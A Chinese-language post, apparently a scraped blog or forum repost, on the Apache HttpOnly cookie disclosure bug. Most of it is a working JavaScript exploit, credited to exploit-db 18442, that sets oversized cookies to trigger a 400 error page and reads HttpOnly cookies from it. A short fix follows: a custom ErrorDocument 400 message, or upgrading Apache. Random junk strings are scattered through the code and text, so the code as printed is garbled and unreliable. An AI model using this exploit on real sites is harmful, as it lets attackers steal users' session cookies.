Apache HttpOnly Cookie XSS跨站漏洞

admin

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。

+ }7 c, W9 x# Q& d/ j用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:


// http://www.exploit-db.com/exploits/18442/
function setCookies (good) {
// Construct string for cookie value
+ [1 }4 g3 |2 [5 I) w7 `* z! \3 svar str = "";
0 ?2 f6 P: t( H, Rfor (var i=0; i< 819; i++) {
str += "x";
& D* A7 W% G& @' I  `4 ~" a5 }}
; C" \& A# I3 K// Set cookies
  r: A4 C# D& p0 Y% p1 i3 ~for (i = 0; i < 10; i++) {
5 n5 Y) c7 M) c! D+ y// Expire evil cookie
if (good) {
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
}
// Set evil cookie
3 B/ U/ o0 t/ F" }) Jelse {
3 H/ D$ [+ l9 k& ~var cookie = "xss"+i+"="+str+";path=/";
}
, V/ l' y9 C* r% qdocument.cookie = cookie;
0 r0 P" H8 X% E' L}
/ h* J- O2 j$ d" Z3 H+ T}
function makeRequest() {
0 u% z  N4 |0 X! |0 `& d: bsetCookies();
5 @  n2 p. x+ f& I) n, ~function parseCookies () {
var cookie_dict = {};
// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
// Replace newlines and match <pre> content
" E  k1 _5 a% l& F# L1 Nvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
if (content.length) {
9 z  i' ~( O( J& c8 P) N( }3 b// Remove Cookie: prefix
content = content[1].replace("Cookie: ", "");
- C& L/ f0 \) Y# I: h1 L) o) Gvar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
// Add cookies to object
, |: A4 }% C9 M* Vfor (var i=0; i<cookies.length; i++) {
, h0 t3 v1 R7 u; Wvar s_c = cookies.split('=',2);
4 S1 v% n2 B, A6 Lcookie_dict[s_c[0]] = s_c[1];
}
}
// Unset malicious cookies
5 Y3 S7 b  V# v9 q! L' L; QsetCookies(true);
alert(JSON.stringify(cookie_dict));
}
}
// Make XHR request
var xhr = new XMLHttpRequest();
# V7 e7 u  `. y& d  I+ U/ i" ~xhr.onreadystatechange = parseCookies;
2 C2 @# [5 C! ^9 R5 P) Exhr.open("GET", "/", true);
xhr.send(null);
! }" _8 R; Q1 ^% i4 G! M}
makeRequest();
# F" w6 O, E2 {
' Y4 ^1 r/ N, K0 T3 X, F0 W+ D你就能看见华丽丽的400错误包含着cookie信息。

$ O1 z) r0 m0 d. c: `6 T5 @下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
5 W' i! G4 {: G( ^3 M6 k8 a% ~
修复方案：

Apache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下

In the event of a problem or error, Apachecan be configured to do one of four things,

3 N$ h  F3 C9 o7 H1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
4 h) Z" {$ g( ?2. output acustomized message输出一段信息
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
4. redirect to an external URL to handle theproblem/error转向一个外部URL

经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容
; y& `! F9 M; \6 l6 o7 @' L- Z
Apache配置：

ErrorDocument400 " security test"

' f- H$ z8 a$ \& m当然，升级apache到最新也可：）。

参考：http://httpd.apache.org/security/vulnerabilities_22.html